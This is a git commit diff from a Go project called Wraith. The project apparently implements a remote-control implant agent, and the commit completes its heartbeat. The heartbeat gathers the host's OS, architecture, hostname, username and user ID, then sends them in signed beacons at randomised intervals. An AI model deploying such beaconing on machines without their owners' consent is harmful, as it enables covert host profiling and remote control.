chore: misc heartbeat work

This commit is contained in:
0x1a8510f2 2023-01-09 05:31:59 +00:00
parent e6624fa5dc
commit 88a1722811
Signed by: 0x1a8510f2
GPG Key ID: 1C692E355D76775D
4 changed files with 43 additions and 19 deletions

View File

@ -178,6 +178,7 @@ mainloop:
case <-sigchan:
break mainloop
case <-recv:
// TODO
println("received message")
}
}

View File

@ -5,7 +5,6 @@ import (
"context"
"crypto/ed25519"
"crypto/tls"
"encoding/json"
"fmt"
"io"
"log"
@ -255,13 +254,6 @@ func (pm *manager) Start() {
select {
case p := <-pm.txq:
// Serialize the payload from the queue element.
payload, err := json.Marshal(p.Data)
if err != nil {
pm.conf.logger.Printf("failed to serialize tx queue element due to error: %e", err)
continue
}
// Set up request to peer.
req := http.Request{
Method: p.Method,
@ -271,7 +263,7 @@ func (pm *manager) Start() {
Path: proto.ROUTE_PREFIX + p.Route,
},
Cancel: ctx.Done(),
Body: io.NopCloser(bytes.NewReader(payload)),
Body: io.NopCloser(bytes.NewReader(p.Data)),
}
// Send request to peer.

View File

@ -19,7 +19,7 @@ type Heartbeat struct {
HostUser string
// The ID of the user under which Wraith is running.
HostUserId int
HostUserId string
// A list of errors the Wraith has encountered.
Errors []error

View File

@ -6,6 +6,9 @@ import (
"encoding/hex"
"fmt"
"math/rand"
"os"
"os/user"
"runtime"
"sync"
"time"
@ -14,7 +17,11 @@ import (
"dev.l1qu1d.net/wraith-labs/wraith/wraith/libwraith"
)
const MOD_NAME = "w.pinecomms"
const (
MOD_NAME = "w.pinecomms"
SHM_ERRORS = "w.errors"
)
// A CommsManager module implementation which utilises (optionally) encrypted JWT
// as a base for its transfer protocol. This allows messages to be signed and
@ -76,6 +83,22 @@ func (m *ModulePinecomms) Mainloop(ctx context.Context, w *libwraith.Wraith) {
// Heartbeat loop.
go func() {
// Cache some values used in the heartbeat.
fingerprint := w.GetFingerprint()
hostname, err := os.Hostname()
if err != nil {
hostname = "<unknown>"
}
username := "<unknown>"
userId := "<unknown>"
currentUser, err := user.Current()
if err == nil {
username = currentUser.Username
userId = currentUser.Uid
}
errs, _ := w.SHMGet(SHM_ERRORS).([]error)
for {
// Pick an interval between min and max for the next heartbeat.
interval := rand.Intn(
@ -88,15 +111,14 @@ func (m *ModulePinecomms) Mainloop(ctx context.Context, w *libwraith.Wraith) {
return
case <-time.After(time.Duration(interval) * time.Second):
// Build a heartbeat data packet.
// TODO
heartbeatData := proto.Heartbeat{
Fingerprint: "",
HostOS: "",
HostArch: "",
Hostname: "",
HostUser: "",
HostUserId: 0,
Errors: []error{},
Fingerprint: fingerprint,
HostOS: runtime.GOOS,
HostArch: runtime.GOARCH,
Hostname: hostname,
HostUser: username,
HostUserId: userId,
Errors: errs,
}
heartbeatBytes, err := proto.Marshal(&heartbeatData, m.OwnPrivKey)
if err != nil {
@ -114,12 +136,21 @@ func (m *ModulePinecomms) Mainloop(ctx context.Context, w *libwraith.Wraith) {
}
}()
// Start receiving messages.
// Background context is okay because the channel will be closed
// when the manager exits further down anyway.
recv := pm.RecvChan(context.Background())
// Mainloop.
for {
select {
// Trigger exit when requested.
case <-ctx.Done():
return
// Process incoming requests.
case <-recv:
// TODO
println("received message")
}
}
}